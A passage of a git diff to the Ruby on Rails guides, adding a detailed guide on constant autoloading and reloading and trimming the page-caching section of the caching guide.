instinct quickly sees some redundancy in there: If classes were +defined in files matching their name, couldn't their loading be automated +somehow? We could save scanning the file for dependencies, which is brittle. + +Moreover, `Kernel#require` loads files once, but development is much more smooth +if code gets refreshed when it changes without restarting the server. It would +be nice to be able to use `Kernel#load` in development, and `Kernel#require` in +production. + +Indeed, those features are provided by Ruby on Rails, where we just write + +```ruby +class PostsController < ApplicationController + def index + @posts = Post.all + end +end +``` + +This guide documents how that works. + + +Constants Refresher +------------------- + +While constants are trivial in most programming languages, they are a rich +topic in Ruby. + +It is beyond the scope of this guide to document Ruby constants, but we are +nevertheless going to highlight a few key topics. Truly grasping the following +sections is instrumental to understanding constant autoloading and reloading. + +### Nesting + +Class and module definitions can be nested to create namespaces: + +```ruby +module XML + class SAXParser + # (1) + end +end +``` + +The *nesting* at any given place is the collection of enclosing nested class and +module objects outwards. For example, in the previous example, the nesting at +(1) is + +```ruby +[XML::SAXParser, XML] +``` + +It is important to understand that the nesting is composed of class and module +*objects*, it has nothing to do with the constants used to access them, and is +also unrelated to their names. + +For instance, while this definition is similar to the previous one: + +```ruby +class XML::SAXParser + # (2) +end +``` + +the nesting in (2) is different: + +```ruby +[XML::SAXParser] +``` + +`XML` does not belong to it. + +We can see in this example that the name of a class or module that belongs to a +certain nesting does not necessarily correlate with the namespaces at the spot. + +Even more, they are totally independent, take for instance + +```ruby +module X::Y + module A::B + # (3) + end +end +``` + +The nesting in (3) consists of two module objects: + +```ruby +[A::B, X::Y] +``` + +So, it not only doesn't end in `A`, which does not even belong to the nesting, +but it also contains `X::Y`, which is independent from `A::B`. + +The nesting is an internal stack maintained by the interpreter, and it gets +modified according to these rules: + +* The class object following a `class` keyword gets pushed when its body is +executed, and popped after it. + +* The module object following a `module` keyword gets pushed when its body is +executed, and popped after it. + +* A singleton class opened with `class << object` gets pushed, and popped later. + +* When any of the `*_eval` family of methods is called using a string argument, +the singleton class of the receiver is pushed to the nesting of the eval'ed +code. + +* The nesting at the top-level of code interpreted by `Kernel#load` is empty +unless the `load` call receives a true value as second argument, in which case +a newly created anonymous module is pushed by Ruby. + +It is interesting to observe that blocks do not modify the stack. In particular +the blocks that may be passed to `Class.new` and `Module.new` do not get the +class or module being defined pushed to their nesting. That's one of the +differences between defining classes and modules in one way or another. + +The nesting at any given place can be inspected with `Module.nesting`. + +### Class and Module Definitions are Constant Assignments + +Let's suppose the following snippet creates a class (rather than reopening it): + +```ruby +class C +end +``` + +Ruby creates a constant `C` in `Object` and stores in that constant a class +object. The name of the class instance is "C", a string, named after the +constant. + +That is, + +```ruby +class Project < ActiveRecord::Base +end +``` + +performs a constant assignment equivalent to + +```ruby +Project = Class.new(ActiveRecord::Base) +``` + +including setting the name of the class as a side-effect: + +```ruby +Project.name # => "Project" +``` + +Constant assignment has a special rule to make that happen: if the object +being assigned is an anonymous class or module, Ruby sets the object's name to +the name of the constant. + +INFO. From then on, what happens to the constant and the instance does not +matter. For example, the constant could be deleted, the class object could be +assigned to a different constant, be stored in no constant anymore, etc. Once +the name is set, it doesn't change. + +Similarly, module creation using the `module` keyword as in + +```ruby +module Admin +end +``` + +performs a constant assignment equivalent to + +```ruby +Admin = Module.new +``` + +including setting the name as a side-effect: + +```ruby +Admin.name # => "Admin" +``` + +WARNING. The execution context of a block passed to `Class.new` or `Module.new` +is not entirely equivalent to the one of the body of the definitions using the +`class` and `module` keywords. But both idioms result in the same constant +assignment. + +Thus, when one informally says "the `String` class", that really means: the +class object stored in the constant called "String" in the class object stored +in the `Object` constant. `String` is otherwise an ordinary Ruby constant and +everything related to constants such as resolution algorithms applies to it. + +Likewise, in the controller + +```ruby +class PostsController < ApplicationController + def index + @posts = Post.all + end +end +``` + +`Post` is not syntax for a class. Rather, `Post` is a regular Ruby constant. If +all is good, the constant evaluates to an object that responds to `all`. + +That is why we talk about *constant* autoloading, Rails has the ability to +load constants on the fly. + +### Constants are Stored in Modules + +Constants belong to modules in a very literal sense. Classes and modules have +a constant table; think of it as a hash table. + +Let's analyze an example to really understand what that means. While common +abuses of language like "the `String` class" are convenient, the exposition is +going to be precise here for didactic purposes. + +Let's consider the following module definition: + +```ruby +module Colors + RED = '0xff0000' +end +``` + +First, when the `module` keyword is processed, the interpreter creates a new +entry in the constant table of the class object stored in the `Object` constant. +Said entry associates the name "Colors" to a newly created module object. +Furthermore, the interpreter sets the name of the new module object to be the +string "Colors". + +Later, when the body of the module definition is interpreted, a new entry is +created in the constant table of the module object stored in the `Colors` +constant. That entry maps the name "RED" to the string "0xff0000". + +In particular, `Colors::RED` is totally unrelated to any other `RED` constant +that may live in any other class or module object. If there were any, they +would have separate entries in their respective constant tables. + +Pay special attention in the previous paragraphs to the distinction between +class and module objects, constant names, and value objects associated to them +in constant tables. + +### Resolution Algorithms + +#### Resolution Algorithm for Relative Constants + +At any given place in the code, let's define *cref* to be the first element of +the nesting if it is not empty, or `Object` otherwise. + +Without getting too much into the details, the resolution algorithm for relative +constant references goes like this: + +1. If the nesting is not empty the constant is looked up in its elements and in +order. The ancestors of those elements are ignored. + +2. If not found, then the algorithm walks up the ancestor chain of the cref. + +3. If not found, `const_missing` is invoked on the cref. The default +implementation of `const_missing` raises `NameError`, but it can be overridden. + +Rails autoloading **does not emulate this algorithm**, but its starting point is +the name of the constant to be autoloaded, and the cref. See more in [Relative +References](#autoloading-algorithms-relative-references). + +#### Resolution Algorithm for Qualified Constants + +Qualified constants look like this: + +```ruby +Billing::Invoice +``` + +`Billing::Invoice` is composed of two constants: `Billing` is relative and is +resolved using the algorithm of the previous section. + +INFO. Leading colons would make the first segment absolute rather than +relative: `::Billing::Invoice`. That would force `Billing` to be looked up +only as a top-level constant. + +`Invoice` on the other hand is qualified by `Billing` and we are going to see +its resolution next. Let's call *parent* to that qualifying class or module +object, that is, `Billing` in the example above. The algorithm for qualified +constants goes like this: + +1. The constant is looked up in the parent and its ancestors. + +2. If the lookup fails, `const_missing` is invoked in the parent. The default +implementation of `const_missing` raises `NameError`, but it can be overridden. + +As you see, this algorithm is simpler than the one for relative constants. In +particular, the nesting plays no role here, and modules are not special-cased, +if neither they nor their ancestors have the constants, `Object` is **not** +checked. + +Rails autoloading **does not emulate this algorithm**, but its starting point is +the name of the constant to be autoloaded, and the parent. See more in +[Qualified References](#qualified-references). + + +Vocabulary +---------- + +### Parent Namespaces + +Given a string with a constant path we define its *parent namespace* to be the +string that results from removing its rightmost segment. + +For example, the parent namespace of the string "A::B::C" is the string "A::B", +the parent namespace of "A::B" is "A", and the parent namespace of "A" is "". + +The interpretation of a parent namespace when thinking about classes and modules +is tricky though. Let's consider a module M named "A::B": + +* The parent namespace, "A", may not reflect nesting at a given spot. + +* The constant `A` may no longer exist, some code could have removed it from +`Object`. + +* If `A` exists, the class or module that was originally in `A` may not be there +anymore. For example, if after a constant removal there was another constant +assignment there would generally be a different object in there. + +* In such case, it could even happen that the reassigned `A` held a new class or +module called also "A"! + +* In the previous scenarios M would no longer be reachable through `A::B` but +the module object itself could still be alive somewhere and its name would +still be "A::B". + +The idea of a parent namespace is at the core of the autoloading algorithms +and helps explain and understand their motivation intuitively, but as you see +that metaphor leaks easily. Given an edge case to reason about, take always into +account that by "parent namespace" the guide means exactly that specific string +derivation. + +### Loading Mechanism + +Rails autoloads files with `Kernel#load` when `config.cache_classes` is false, +the default in development mode, and with `Kernel#require` otherwise, the +default in production mode. + +`Kernel#load` allows Rails to execute files more than once if [constant +reloading](#constant-reloading) is enabled. + +This guide uses the word "load" freely to mean a given file is interpreted, but +the actual mechanism can be `Kernel#load` or `Kernel#require` depending on that +flag. + + +Autoloading Availability +------------------------ + +Rails is always able to autoload provided its environment is in place. For +example the `runner` command autoloads: + +``` +$ bin/rails runner 'p User.column_names' +["id", "email", "created_at", "updated_at"] +``` + +The console autoloads, the test suite autoloads, and of course the application +autoloads. + +By default, Rails eager loads the application files when it boots in production +mode, so most of the autoloading going on in development does not happen. But +autoloading may still be triggered during eager loading. + +For example, given + +```ruby +class BeachHouse < House +end +``` + +if `House` is still unknown when `app/models/beach_house.rb` is being eager +loaded, Rails autoloads it. + + +autoload_paths +-------------- + +As you probably know, when `require` gets a relative file name: + +```ruby +require 'erb' +``` + +Ruby looks for the file in the directories listed in `$LOAD_PATH`. That is, Ruby +iterates over all its directories and for each one of them checks whether they +have a file called "erb.rb", or "erb.so", or "erb.o", or "erb.dll". If it finds +any of them, the interpreter loads it and ends the search. Otherwise, it tries +again in the next directory of the list. If the list gets exhausted, `LoadError` +is raised. + +We are going to cover how constant autoloading works in more detail later, but +the idea is that when a constant like `Post` is hit and missing, if there's a +`post.rb` file for example in `app/models` Rails is going to find it, evaluate +it, and have `Post` defined as a side-effect. + +Alright, Rails has a collection of directories similar to `$LOAD_PATH` in which +to look up `post.rb`. That collection is called `autoload_paths` and by +default it contains: + +* All subdirectories of `app` in the application and engines. For example, + `app/controllers`. They do not need to be the default ones, any custom + directories like `app/workers` belong automatically to `autoload_paths`. + +* Any existing second level directories called `app/*/concerns` in the + application and engines. + +* The directory `test/mailers/previews`. + +Also, this collection is configurable via `config.autoload_paths`. For example, +`lib` was in the list years ago, but no longer is. An application can opt-in +by adding this to `config/application.rb`: + +```ruby +config.autoload_paths += "#{Rails.root}/lib" +``` + +The value of `autoload_paths` can be inspected. In a just generated application +it is (edited): + +``` +$ bin/rails r 'puts ActiveSupport::Dependencies.autoload_paths' +.../app/assets +.../app/controllers +.../app/helpers +.../app/mailers +.../app/models +.../app/controllers/concerns +.../app/models/concerns +.../test/mailers/previews +``` + +INFO. `autoload_paths` is computed and cached during the initialization process. +The application needs to be restarted to reflect any changes in the directory +structure. + + +Autoloading Algorithms +---------------------- + +### Relative References + +A relative constant reference may appear in several places, for example, in + +```ruby +class PostsController < ApplicationController + def index + @posts = Post.all + end +end +``` + +all three constant references are relative. + +#### Constants after the `class` and `module` Keywords + +Ruby performs a lookup for the constant that follows a `class` or `module` +keyword because it needs to know if the class or module is going to be created +or reopened. + +If the constant is not defined at that point it is not considered to be a +missing constant, autoloading is **not** triggered. + +So, in the previous example, if `PostsController` is not defined when the file +is interpreted Rails autoloading is not going to be triggered, Ruby will just +define the controller. + +#### Top-Level Constants + +On the contrary, if `ApplicationController` is unknown, the constant is +considered missing and an autoload is going to be attempted by Rails. + +In order to load `ApplicationController`, Rails iterates over `autoload_paths`. +First checks if `app/assets/application_controller.rb` exists. If it does not, +which is normally the case, it continues and finds +`app/controllers/application_controller.rb`. + +If the file defines the constant `ApplicationController` all is fine, otherwise +`LoadError` is raised: + +``` +unable to autoload constant ApplicationController, expected +<full path to application_controller.rb> to define it (LoadError) +``` + +INFO. Rails does not require the value of autoloaded constants to be a class or +module object. For example, if the file `app/models/max_clients.rb` defines +`MAX_CLIENTS = 100` autoloading `MAX_CLIENTS` works just fine. + +#### Namespaces + +Autoloading `ApplicationController` looks directly under the directories of +`autoload_paths` because the nesting in that spot is empty. The situation of +`Post` is different, the nesting in that line is `[PostsController]` and support +for namespaces comes into play. + +The basic idea is that given + +```ruby +module Admin + class BaseController < ApplicationController + @@all_roles = Role.all + end +end +``` + +to autoload `Role` we are going to check if it is defined in the current or +parent namespaces, one at a time. So, conceptually we want to try to autoload +any of + +``` +Admin::BaseController::Role +Admin::Role +Role +``` + +in that order. That's the idea. To do so, Rails looks in `autoload_paths` +respectively for file names like these: + +``` +admin/base_controller/role.rb +admin/role.rb +role.rb +``` + +modulus some additional directory lookups we are going to cover soon. + +INFO. `'Constant::Name'.underscore` gives the relative path without extension of +the file name where `Constant::Name` is expected to be defined. + +Let's see how Rails autoloads the `Post` constant in the `PostsController` +above assuming the application has a `Post` model defined in +`app/models/post.rb`. + +First it checks for `posts_controller/post.rb` in `autoload_paths`: + +``` +app/assets/posts_controller/post.rb +app/controllers/posts_controller/post.rb +app/helpers/posts_controller/post.rb +... +test/mailers/previews/posts_controller/post.rb +``` + +Since the lookup is exhausted without success, a similar search for a directory +is performed, we are going to see why in the [next section](#automatic-modules): + +``` +app/assets/posts_controller/post +app/controllers/posts_controller/post +app/helpers/posts_controller/post +... +test/mailers/previews/posts_controller/post +``` + +If all those attempts fail, then Rails starts the lookup again in the parent +namespace. In this case only the top-level remains: + +``` +app/assets/post.rb +app/controllers/post.rb +app/helpers/post.rb +app/mailers/post.rb +app/models/post.rb +``` + +A matching file is found in `app/models/post.rb`. The lookup stops there and the +file is loaded. If the file actually defines `Post` all is fine, otherwise +`LoadError` is raised. + +### Qualified References + +When a qualified constant is missing Rails does not look for it in the parent +namespaces. But there is a caveat: When a constant is missing, Rails is +unable to tell if the trigger was a relative reference or a qualified one. + +For example, consider + +```ruby +module Admin + User +end +``` + +and + +```ruby +Admin::User +``` + +If `User` is missing, in either case all Rails knows is that a constant called +"User" was missing in a module called "Admin". + +If there is a top-level `User` Ruby would resolve it in the former example, but +wouldn't in the latter. In general, Rails does not emulate the Ruby constant +resolution algorithms, but in this case it tries using the following heuristic: + +> If none of the parent namespaces of the class or module has the missing +> constant then Rails assumes the reference is relative. Otherwise qualified. + +For example, if this code triggers autoloading + +```ruby +Admin::User +``` + +and the `User` constant is already present in `Object`, it is not possible that +the situation is + +```ruby +module Admin + User +end +``` + +because otherwise Ruby would have resolved `User` and no autoloading would have +been triggered in the first place. Thus, Rails assumes a qualified reference and +considers the file `admin/user.rb` and directory `admin/user` to be the only +valid options. + +In practice, this works quite well as long as the nesting matches all parent +namespaces respectively and the constants that make the rule apply are known at +that time. + +However, autoloading happens on demand. If by chance the top-level `User` was +not yet loaded, then Rails assumes a relative reference by contract. + +Naming conflicts of this kind are rare in practice, but if one occurs, +`require_dependency` provides a solution by ensuring that the constant needed +to trigger the heuristic is defined in the conflicting place. + +### Automatic Modules + +When a module acts as a namespace, Rails does not require the application to +defines a file for it, a directory matching the namespace is enough. + +Suppose an application has a back office whose controllers are stored in +`app/controllers/admin`. If the `Admin` module is not yet loaded when +`Admin::UsersController` is hit, Rails needs first to autoload the constant +`Admin`. + +If `autoload_paths` has a file called `admin.rb` Rails is going to load that +one, but if there's no such file and a directory called `admin` is found, Rails +creates an empty module and assigns it to the `Admin` constant on the fly. + +### Generic Procedure + +Relative references are reported to be missing in the cref where they were hit, +and qualified references are reported to be missing in their parent. (See +[Resolution Algorithm for Relative +Constants](#resolution-algorithm-for-relative-constants) at the beginning of +this guide for the definition of *cref*, and [Resolution Algorithm for Qualified +Constants](#resolution-algorithm-for-qualified-constants) for the definition of +*parent*.) + +The procedure to autoload constant `C` in an arbitrary situation is as follows: + +``` +if the class or module in which C is missing is Object + let ns = '' +else + let M = the class or module in which C is missing + + if M is anonymous + let ns = '' + else + let ns = M.name + end +end + +loop do + # Look for a regular file. + for dir in autoload_paths + if the file "#{dir}/#{ns.underscore}/c.rb" exists + load/require "#{dir}/#{ns.underscore}/c.rb" + + if C is now defined + return + else + raise LoadError + end + end + end + + # Look for an automatic module. + for dir in autoload_paths + if the directory "#{dir}/#{ns.underscore}/c" exists + if ns is an empty string + let C = Module.new in Object and return + else + let C = Module.new in ns.constantize and return + end + end + end + + if ns is empty + # We reached the top-level without finding the constant. + raise NameError + else + if C exists in any of the parent namespaces + # Qualified constants heuristic. + raise NameError + else + # Try again in the parent namespace. + let ns = the parent namespace of ns and retry + end + end +end +``` + + +require_dependency +------------------ + +Constant autoloading is triggered on demand and therefore code that uses a +certain constant may have it already defined or may trigger an autoload. That +depends on the execution path and it may vary between runs. + +There are times, however, in which you want to make sure a certain constant is +known when the execution reaches some code. `require_dependency` provides a way +to load a file using the current [loading mechanism](#loading-mechanism), and +keeping track of constants defined in that file as if they were autoloaded to +have them reloaded as needed. + +`require_dependency` is rarely needed, but see a couple of use-cases in +[Autoloading and STI](#autoloading-and-sti) and [When Constants aren't +Triggered](#when-constants-aren-t-missed). + +WARNING. Unlike autoloading, `require_dependency` does not expect the file to +define any particular constant. Exploiting this behavior would be a bad practice +though, file and constant paths should match. + + +Constant Reloading +------------------ + +When `config.cache_classes` is false Rails is able to reload autoloaded +constants. + +For example, in you're in a console session and edit some file behind the +scenes, the code can be reloaded with the `reload!` command: + +``` +> reload! +``` + +When the application runs, code is reloaded when something relevant to this +logic changes. In order to do that, Rails monitors a number of things: + +* `config/routes.rb`. + +* Locales. + +* Ruby files under `autoload_paths`. + +* `db/schema.rb` and `db/structure.sql`. + +If anything in there changes, there is a middleware that detects it and reloads +the code. + +Autoloading keeps track of autoloaded constants. Reloading is implemented by +removing them all from their respective classes and modules using +`Module#remove_const`. That way, when the code goes on, those constants are +going to be unknown again, and files reloaded on demand. + +INFO. This is an all-or-nothing operation, Rails does not attempt to reload only +what changed since dependencies between classes makes that really tricky. +Instead, everything is wiped. + + +Module#autoload isn't Involved +------------------------------ + +`Module#autoload` provides a lazy way to load constants that is fully integrated +with the Ruby constant lookup algorithms, dynamic constant API, etc. It is quite +transparent. + +Rails internals make extensive use of it to defer as much work as possible from +the boot process. But constant autoloading in Rails is **not** implemented with +`Module#autoload`. + +One possible implementation based on `Module#autoload` would be to walk the +application tree and issue `autoload` calls that map existing file names to +their conventional constant name. + +There are a number of reasons that prevent Rails from using that implementation. + +For example, `Module#autoload` is only capable of loading files using `require`, +so reloading would not be possible. Not only that, it uses an internal `require` +which is not `Kernel#require`. + +Then, it provides no way to remove declarations in case a file is deleted. If a +constant gets removed with `Module#remove_const` its `autoload` is not triggered +again. Also, it doesn't support qualified names, so files with namespaces should +be interpreted during the walk tree to install their own `autoload` calls, but +those files could have constant references not yet configured. + +An implementation based on `Module#autoload` would be awesome but, as you see, +at least as of today it is not possible. Constant autoloading in Rails is +implemented with `Module#const_missing`, and that's why it has its own contract, +documented in this guide. + + +Common Gotchas +-------------- + +### Nesting and Qualified Constants + +Let's consider + +```ruby +module Admin + class UsersController < ApplicationController + def index + @users = User.all + end + end +end +``` + +and + +```ruby +class Admin::UsersController < ApplicationController + def index + @users = User.all + end +end +``` + +To resolve `User` Ruby checks `Admin` in the former case, but it does not in +the latter because it does not belong to the nesting. (See [Nesting](#nesting) +and [Resolution Algorithms](#resolution-algorithms).) + +Unfortunately Rails autoloading does not know the nesting in the spot where the +constant was missing and so it is not able to act as Ruby would. In particular, +`Admin::User` will get autoloaded in either case. + +Albeit qualified constants with `class` and `module` keywords may technically +work with autoloading in some cases, it is preferable to use relative constants +instead: + +```ruby +module Admin + class UsersController < ApplicationController + def index + @users = User.all + end + end +end +``` + +### Autoloading and STI + +Single Table Inheritance (STI) is a feature of Active Record that enables +storing a hierarchy of models in one single table. The API of such models is +aware of the hierarchy and encapsulates some common needs. For example, given +these classes: + +```ruby +# app/models/polygon.rb +class Polygon < ActiveRecord::Base +end + +# app/models/triangle.rb +class Triangle < Polygon +end + +# app/models/rectangle.rb +class Rectangle < Polygon +end +``` + +`Triangle.create` creates a row that represents a triangle, and +`Rectangle.create` creates a row that represents a rectangle. If `id` is the +ID of an existing record, `Polygon.find(id)` returns an object of the correct +type. + +Methods that operate on collections are also aware of the hierarchy. For +example, `Polygon.all` returns all the records of the table, because all +rectangles and triangles are polygons. Active Record takes care of returning +instances of their corresponding class in the result set. + +Types are autoloaded as needed. For example, if `Polygon.first` is a rectangle +and `Rectangle` has not yet been loaded, Active Record autoloads it and the +record is correctly instantiated. + +All good, but if instead of performing queries based on the root class we need +to work on some subclass, things get interesting. + +While working with `Polygon` you do not need to be aware of all its descendants, +because anything in the table is by definition a polygon, but when working with +subclasses Active Record needs to be able to enumerate the types it is looking +for. Let’s see an example. + +`Rectangle.all` only loads rectangles by adding a type constraint to the query: + +```sql +SELECT "polygons".* FROM "polygons" +WHERE "polygons"."type" IN ("Rectangle") +``` + +Let’s introduce now a subclass of `Rectangle`: + +```ruby +# app/models/square.rb +class Square < Rectangle +end +``` + +`Rectangle.all` should now return rectangles **and** squares: + +```sql +SELECT "polygons".* FROM "polygons" +WHERE "polygons"."type" IN ("Rectangle", "Square") +``` + +But there’s a caveat here: How does Active Record know that the class `Square` +exists at all? + +Even if the file `app/models/square.rb` exists and defines the `Square` class, +if no code yet used that class, `Rectangle.all` issues the query + +```sql +SELECT "polygons".* FROM "polygons" +WHERE "polygons"."type" IN ("Rectangle") +``` + +That is not a bug, the query includes all *known* descendants of `Rectangle`. + +A way to ensure this works correctly regardless of the order of execution is to +load the leaves of the tree by hand at the bottom of the file that defines the +root class: + +```ruby +# app/models/polygon.rb +class Polygon < ActiveRecord::Base +end +require_dependency ‘square’ +``` + +Only the leaves that are **at least grandchildren** need to be loaded this +way. Direct subclasses do not need to be preloaded. If the hierarchy is +deeper, intermediate classes will be autoloaded recursively from the bottom +because their constant will appear in the class definitions as superclass. + +### Autoloading and `require` + +Files defining constants to be autoloaded should never be `require`d: + +```ruby +require 'user' # DO NOT DO THIS + +class UsersController < ApplicationController + ... +end +``` + +There are two possible gotchas here in development mode: + +1. If `User` is autoloaded before reaching the `require`, `app/models/user.rb` +runs again because `load` does not update `$LOADED_FEATURES`. + +2. If the `require` runs first Rails does not mark `User` as an autoloaded +constant and changes to `app/models/user.rb` aren't reloaded. + +Just follow the flow and use constant autoloading always, never mix +autoloading and `require`. As a last resort, if some file absolutely needs to +load a certain file use `require_dependency` to play nice with constant +autoloading. This option is rarely needed in practice, though. + +Of course, using `require` in autoloaded files to load ordinary 3rd party +libraries is fine, and Rails is able to distinguish their constants, they are +not marked as autoloaded. + +### Autoloading and Initializers + +Consider this assignment in `config/initializers/set_auth_service.rb`: + +```ruby +AUTH_SERVICE = if Rails.env.production? + RealAuthService +else + MockedAuthService +end +``` + +The purpose of this setup would be that the application uses the class that +corresponds to the environment via `AUTH_SERVICE`. In development mode +`MockedAuthService` gets autoloaded when the initializer runs. Let’s suppose +we do some requests, change its implementation, and hit the application again. +To our surprise the changes are not reflected. Why? + +As [we saw earlier](#constant-reloading), Rails removes autoloaded constants, +but `AUTH_SERVICE` stores the original class object. Stale, non-reachable +using the original constant, but perfectly functional. + +The following code summarizes the situation: + +```ruby +class C + def quack + 'quack!' + end +end + +X = C +Object.instance_eval { remove_const(:C) } +X.new.quack # => quack! +X.name # => C +C # => uninitialized constant C (NameError) +``` + +Because of that, it is not a good idea to autoload constants on application +initialization. + +In the case above we could implement a dynamic access point: + +```ruby +# app/models/auth_service.rb +class AuthService + if Rails.env.production? + def self.instance + RealAuthService + end + else + def self.instance + MockedAuthService + end + end +end +``` + +and have the application use `AuthService.instance` instead. `AuthService` +would be loaded on demand and be autoload-friendly. + +### `require_dependency` and Initializers + +As we saw before, `require_dependency` loads files in an autoloading-friendly +way. Normally, though, such a call does not make sense in an initializer. + +One could think about doing some [`require_dependency`](#require-dependency) +calls in an initializer to make sure certain constants are loaded upfront, for +example as an attempt to address the [gotcha with STIs](#autoloading-and-sti). + +Problem is, in development mode [autoloaded constants are wiped](#constant-reloading) +if there is any relevant change in the file system. If that happens then +we are in the very same situation the initializer wanted to avoid! + +Calls to `require_dependency` have to be strategically written in autoloaded +spots. + +### When Constants aren't Missed + +#### Relative References + +Let's consider a flight simulator. The application has a default flight model + +```ruby +# app/models/flight_model.rb +class FlightModel +end +``` + +that can be overridden by each airplane, for instance + +```ruby +# app/models/bell_x1/flight_model.rb +module BellX1 + class FlightModel < FlightModel + end +end + +# app/models/bell_x1/aircraft.rb +module BellX1 + class Aircraft + def initialize + @flight_model = FlightModel.new + end + end +end +``` + +The initializer wants to create a `BellX1::FlightModel` and nesting has +`BellX1`, that looks good. But if the default flight model is loaded and the +one for the Bell-X1 is not, the interpreter is able to resolve the top-level +`FlightModel` and autoloading is thus not triggered for `BellX1::FlightModel`. + +That code depends on the execution path. + +These kind of ambiguities can often be resolved using qualified constants: + +```ruby +module BellX1 + class Plane + def flight_model + @flight_model ||= BellX1::FlightModel.new + end + end +end +``` + +Also, `require_dependency` is a solution: + +```ruby +require_dependency 'bell_x1/flight_model' + +module BellX1 + class Plane + def flight_model + @flight_model ||= FlightModel.new + end + end +end +``` + +#### Qualified References + +Given + +```ruby +# app/models/hotel.rb +class Hotel +end + +# app/models/image.rb +class Image +end + +# app/models/hotel/image.rb +class Hotel + class Image < Image + end +end +``` + +the expression `Hotel::Image` is ambiguous because it depends on the execution +path. + +As [we saw before](#resolution-algorithm-for-qualified-constants), Ruby looks +up the constant in `Hotel` and its ancestors. If `app/models/image.rb` has +been loaded but `app/models/hotel/image.rb` hasn't, Ruby does not find `Image` +in `Hotel`, but it does in `Object`: + +``` +$ bin/rails r 'Image; p Hotel::Image' 2>/dev/null +Image # NOT Hotel::Image! +``` + +The code evaluating `Hotel::Image` needs to make sure +`app/models/hotel/image.rb` has been loaded, possibly with +`require_dependency`. + +In these cases the interpreter issues a warning though: + +``` +warning: toplevel constant Image referenced by Hotel::Image +``` + +This surprising constant resolution can be observed with any qualifying class: + +``` +2.1.5 :001 > String::Array +(irb):1: warning: toplevel constant Array referenced by String::Array + => Array +``` + +WARNING. To find this gotcha the qualifying namespace has to be a class, +`Object` is not an ancestor of modules. + +### Autoloading within Singleton Classes + +Let's suppose we have these class definitions: + +```ruby +# app/models/hotel/services.rb +module Hotel + class Services + end +end + +# app/models/hotel/geo_location.rb +module Hotel + class GeoLocation + class << self + Services + end + end +end +``` + +If `Hotel::Services` is known by the time `app/models/hotel/geo_location.rb` +is being loaded, `Services` is resolved by Ruby because `Hotel` belongs to the +nesting when the singleton class of `Hotel::GeoLocation` is opened. + +But if `Hotel::Services` is not known, Rails is not able to autoload it, the +application raises `NameError`. + +The reason is that autoloading is triggered for the singleton class, which is +anonymous, and as [we saw before](#generic-procedure), Rails only checks the +top-level namespace in that edge case. + +An easy solution to this caveat is to qualify the constant: + +```ruby +module Hotel + class GeoLocation + class << self + Hotel::Services + end + end +end +``` + +### Autoloading in `BasicObject` + +Direct descendants of `BasicObject` do not have `Object` among their ancestors +and cannot resolve top-level constants: + +```ruby +class C < BasicObject + String # NameError: uninitialized constant C::String +end +``` + +When autoloading is involved that plot has a twist. Let's consider: + +```ruby +class C < BasicObject + def user + User # WRONG + end +end +``` + +Since Rails checks the top-level namespace `User` gets autoloaded just fine the +first time the `user` method is invoked. You only get the exception if the +`User` constant is known at that point, in particular in a *second* call to +`user`: + +```ruby +c = C.new +c.user # surprisingly fine, User +c.user # NameError: uninitialized constant C::User +``` + +because it detects that a parent namespace already has the constant (see [Qualified +References](#autoloading-algorithms-qualified-references).) + +As with pure Ruby, within the body of a direct descendant of `BasicObject` use +always absolute constant paths: + +```ruby +class C < BasicObject + ::String # RIGHT + + def user + ::User # RIGHT + end +end +``` diff --git a/guides/source/caching_with_rails.md b/guides/source/caching_with_rails.md index 773102400a..61b991df61 100644 --- a/guides/source/caching_with_rails.md +++ b/guides/source/caching_with_rails.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Caching with Rails: An overview =============================== @@ -5,8 +7,8 @@ This guide will teach you what you need to know about avoiding that expensive ro After reading this guide, you will know: -* Page, action, and fragment caching. -* Sweepers. +* Page and action caching (moved to separate gems as of Rails 4). +* Fragment caching. * Alternative cache stores. * Conditional GET support. @@ -28,103 +30,15 @@ config.action_controller.perform_caching = true ### Page Caching -Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the webserver (i.e. Apache or nginx), without ever having to go through the Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be applied to every situation (such as pages that need authentication) and since the webserver is literally just serving a file from the filesystem, cache expiration is an issue that needs to be dealt with. - -To enable page caching, you need to use the `caches_page` method. - -```ruby -class ProductsController < ActionController - - caches_page :index - - def index - @products = Product.all - end -end -``` - -Let's say you have a controller called `ProductsController` and an `index` action that lists all the products. The first time anyone requests `/products`, Rails will generate a file called `products.html` and the webserver will then look for that file before it passes the next request for `/products` to your Rails application. - -By default, the page cache directory is set to `Rails.public_path` (which is usually set to the `public` folder) and this can be configured by changing the configuration setting `config.action_controller.page_cache_directory`. Changing the default from `public` helps avoid naming conflicts, since you may want to put other static html in `public`, but changing this will require web server reconfiguration to let the web server know where to serve the cached files from. - -The Page Caching mechanism will automatically add a `.html` extension to requests for pages that do not have an extension to make it easy for the webserver to find those pages and this can be configured by changing the configuration setting `config.action_controller.default_static_extension`. - -In order to expire this page when a new product is added we could extend our example controller like this: - -```ruby -class ProductsController < ActionController - - caches_page :index - - def index - @products = Product.all - end - - def create - expire_page action: :index - end - -end -``` - -By default, page caching automatically gzips files (for example, to `products.html.gz` if user requests `/products`) to reduce the size of data transmitted (web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, compression ratio is maximum). +Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the webserver (i.e. Apache or NGINX), without ever having to go through the Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be applied to every situation (such as pages that need authentication) and since the webserver is literally just serving a file from the filesystem, cache expiration is an issue that needs to be dealt with. -Nginx is able to serve compressed content directly from disk by enabling `gzip_static`: - -```nginx -location / { - gzip_static on; # to serve pre-gzipped version -} -``` - -You can disable gzipping by setting `:gzip` option to false (for example, if action returns image): - -```ruby -caches_page :image, gzip: false -``` - -Or, you can set custom gzip compression level (level names are taken from `Zlib` constants): - -```ruby -caches_page :image, gzip: :best_speed -``` - -NOTE: Page caching ignores all parameters. For example `/products?page=1` will be written out to the filesystem as `products.html` with no reference to the `page` parameter. Thus, if someone requests `/products?page=2` later, they will get the cached first page. A workaround for this limitation is to include the parameters in the page's path, e.g. `/products/page/1`. - -INFO: Page caching runs in an after filter. Thus, invalid requests won't generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job. +INFO: Page Caching has been removed from Rails 4. See the [actionpack-page_caching gem](https://github.com/rails/actionpack-page_caching). See [DHH's key-based cache expiration 